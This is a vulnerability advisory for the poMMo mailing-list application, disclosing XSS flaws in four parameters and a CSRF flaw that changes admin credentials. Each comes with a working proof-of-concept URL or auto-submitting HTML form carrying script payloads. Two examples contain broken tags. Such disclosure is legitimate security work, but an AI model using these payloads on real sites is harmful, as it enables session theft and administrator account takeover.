Multiple Vulnerabilities in poMMo

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in poMMo which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in poMMo
1.1 The vulnerability exists due to input sanitation error in the "referer" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/index.php?referer=1"><script>alert(document.cookie)</script>
1.2 The vulnerability exists due to input sanitation error in the "site_name" parameter in admin/setup/config/general.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/setup/config/general.php" method="post" name="main">
<input type="hidden" name="list_name" value="Mailing List">
<input type="hidden" name="site_name" value='poMMo"><script>alert(document.cookie)</script>'>
<input type="hidden" name="site_name" value="poMMo Website">
<input type="hidden" name="site_url" value="http://www.example.com/">
<input type="hidden" name="site_success" value="">
<input type="hidden" name="site_confirm" value="">
<input type="hidden" name="list_confirm" value="on">
<input type="hidden" name="list_exchanger" value="mail">
</form>
<script>
document.main.submit();
</script>
1.3 The vulnerability exists due to input sanitation error in the "group_name" parameter in admin/subscribers/subscribers_groups.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/subscribers/subscribers_groups.php" method="post" name="main">
<input type="hidden" name="group_name" value='group"><script>alert("XSS")</script>'>
</form>
<script>
document.m ain.submit();
</script>
1.4 The vulnerability exists due to input sanitation error in the "field_name" parameter in admin/setup/setup_fields.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/setup/setup_fields.php" method="post" name="main">
<input type="hidden" name="field_name" value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="field_type" value="text">
</form>
<script>
document.main.submit();
</script>

2) Cross-site request forgery (CSRF) in poMMo
The vulnerability exists due to insufficient validation of the request origin in admin/setup/config/users.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/admin/setup/config/users.php" method="post" name="main">
<input type="hidden" name="admin_username" value="admin2">
<input type="hidden" name="admin_password" value="newpass">
<input type="hidden" name="admin_password2" value="newpass">
<input type="hidden" name="admin_email" value="email@example.com">
</form>
<script>
document.main.submit();
</sc ript>